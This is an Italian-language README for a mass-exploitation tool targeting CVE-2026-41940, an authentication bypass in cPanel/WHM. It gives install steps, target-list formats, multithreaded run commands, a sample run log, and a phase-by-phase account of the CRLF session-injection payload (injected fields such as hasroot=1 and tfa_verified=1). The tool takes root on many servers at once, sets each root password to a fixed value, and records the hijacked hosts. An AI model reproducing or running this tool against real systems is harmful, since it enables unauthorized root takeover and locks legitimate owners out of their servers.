
Scanner bulk e strumento di sfruttamento di massa per CVE-2026-41940 su cPanel/WHM, progettato per la validazione automatizzata dei bersagli e l'esecuzione multi-thread ad alta velocità.
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in WHM/cPanel che consente agli aggressori di eludere l'autenticazione e ottenere accesso root a un server senza credenziali valide. La vulnerabilità sfrutta l'iniezione CRLF nel meccanismo di gestione delle sessioni per iniettare parametri di sessione dannosi.
Questo strumento fornisce capacità di exploit di massa con supporto multi-threading per testare più target contemporaneamente, con rilevamento intelligente del successo e filtraggio automatico dei target non validi.
| Caratteristica | Descrizione |
|---|---|
| ✅ Exploit di massa | Scansiona e sfrutta più target da un file di elenco |
| 🚀 Multi-threading | Numero di thread configurabile per scansioni più veloci (default: 15) |
| 🔐 Cambio password automatico | Cambia la password di root in Jenderal92 dopo l'exploit riuscito |
| 🛡️ Rilevamento intelligente del successo | Rileva automaticamente vari formati di risposta API WHM |
| ⚠️ Filtraggio errori di licenza | Esclude target con errori di licenza non valida/non leggibile |
| 📝 Output strutturato | Salva solo i successi confermati nel formato `dominio:porta |
| 🛡️ Supporto SSL/TLS | Gestisce automaticamente i certificati autofirmati |
| 🔄 Gestione delle sessioni | Estrazione automatica della sessione, iniezione di cookie e gestione dei token |
| ⏱️ Controllo timeout | Timeout di connessione configurabile (default: 15 secondi) |
| 🔍 Verifica pre-connessione | Controlla la disponibilità della porta prima del tentativo di exploit |
| 📊 Avanzamento in tempo reale | Mostra progressi dettagliati per ogni fase dell'exploit |
pip install requests urllib3 futures
Oppure usa requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clona il repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Installa le dipendenze
pip install -r requirements.txt
# Rendi eseguibile (Linux/Mac)
chmod +x CVE-2026-41940.py
Crea un file targets.txt con un target per riga:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: La porta
2087è la porta WHM predefinita. Se non specificata, verrà usata automaticamente la porta 2087. Il prefisso HTTP/HTTPS verrà aggiunto automaticamente se mancante.
python2 CVE-2026-41940.py targets.txt
# Usa 5 thread concorrenti
python2 CVE-2026-41940.py targets.txt --threads 5
# Usa 20 thread per scansioni più veloci
python2 CVE-2026-41940.py targets.txt --threads 20
# Sovrascrivi l'header Host per tutti i target
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Imposta il timeout a 30 secondi per connessioni lente
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argomento | Descrizione | Predefinito | Obbligatorio |
|---|---|---|---|
list_file | File contenente l'elenco dei target (uno per riga) | - | ✅ Sì |
--threads | Numero di thread concorrenti | 15 | ❌ No |
--hostname | Sovrascrivi l'header Host per tutti i target | Auto-rilevamento | ❌ No |
--timeout | Timeout di connessione in secondi | 15 | ❌ No |
res.txt)Vengono salvati solo gli exploit riusciti confermati. I target con errori di licenza, cambi di password falliti o problemi di connessione vengono automaticamente esclusi.
Formato:
dominio:porta|root|Jenderal92
Esempio di output:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
I seguenti target NON verranno salvati in res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Caricati 4 target
[*] Avvio exploit con 10 thread...
[*] Timeout: 15 secondi
[*] Nota: http:// verrà aggiunto automaticamente se mancante
[*] SOLO i target con cambio password confermato verranno salvati in res.txt
[*] I target con errori di licenza, problemi di connessione o cambi di password falliti verranno ESCLUSI
==================================================
[*] Controllo target: 127.0.0.1
Input originale: 127.0.0.1
Normalizzato: https://127.0.0.1:2087
Porta 2087: APERTA
Test connessione... OK (HTTP 200)
[0] hostname = example.com
[1] creazione sessione preauth...
sessione base = :d5nPe99Nx9HQdMu2
[2] invio dell'iniezione CRLF...
HTTP 307, token trapelato = /cpsess0488087910
[3] attivazione di do_token_denied per propagare...
HTTP 401, gadget attivato
[4] verifica di essere root su WHM...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] tentativo di cambiare la password di root
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Cambio password confermato (metadata.result=1)
[+] ✓ Password di root cambiata con successo in 'Jenderal92'!
[✓] SUCCESSO & SALVATO: 127.0.0.1:2087
Salvato in res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scansione completata!
[*] Target con password cambiate con successo: 1 su 4
[+] Risultati salvati in res.txt
Target sfruttati con successo (password cambiata in Jenderal92):
✓ 127.0.0.1:2087
L'exploit è composto da 4 fasi principali con verifica intelligente:
[1] creazione sessione preauth...
/login/?login_only=1 con credenziali non validewhostmgrsession dalla risposta del server,<obhex>[2] invio dell'iniezione CRLF...
Authorization: Basic contenente il payload dannosoroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) iniettano parametri di sessione falsiLocation contenente il cp_security_token